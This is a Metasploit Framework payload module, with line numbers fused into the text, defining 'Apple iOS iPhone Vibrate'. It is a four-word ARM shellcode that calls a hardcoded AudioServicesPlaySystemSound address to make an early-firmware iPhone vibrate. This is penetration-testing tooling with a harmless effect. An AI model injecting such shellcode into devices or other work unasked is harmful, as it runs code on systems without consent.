Path: blob/master/modules/payloads/singles/osx/armle/vibrate.rb
21549 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 1678include Msf::Payload::Single9include Msf::Payload::Osx1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Apple iOS iPhone Vibrate',16'Description' => %q{17Causes the iPhone to vibrate, only works when the AudioToolkit library has been loaded.18Based on work by Charlie Miller <cmiller[at]securityevaluators.com>.19},20'Author' => 'hdm',21'License' => MSF_LICENSE,22'Platform' => 'osx',23'Arch' => ARCH_ARMLE24)25)26end2728def generate(_opts = {})29[300xe1a00820, # mov r0, r0, lsr #16310xe51ff004, # ldr pc, [pc, #-4]320x319ef974, # _AudioServicesPlaySystemSound() / Firmware 1.02330x03ea4444 # Parameter: 0x03ea34].pack('V*')35end36end373839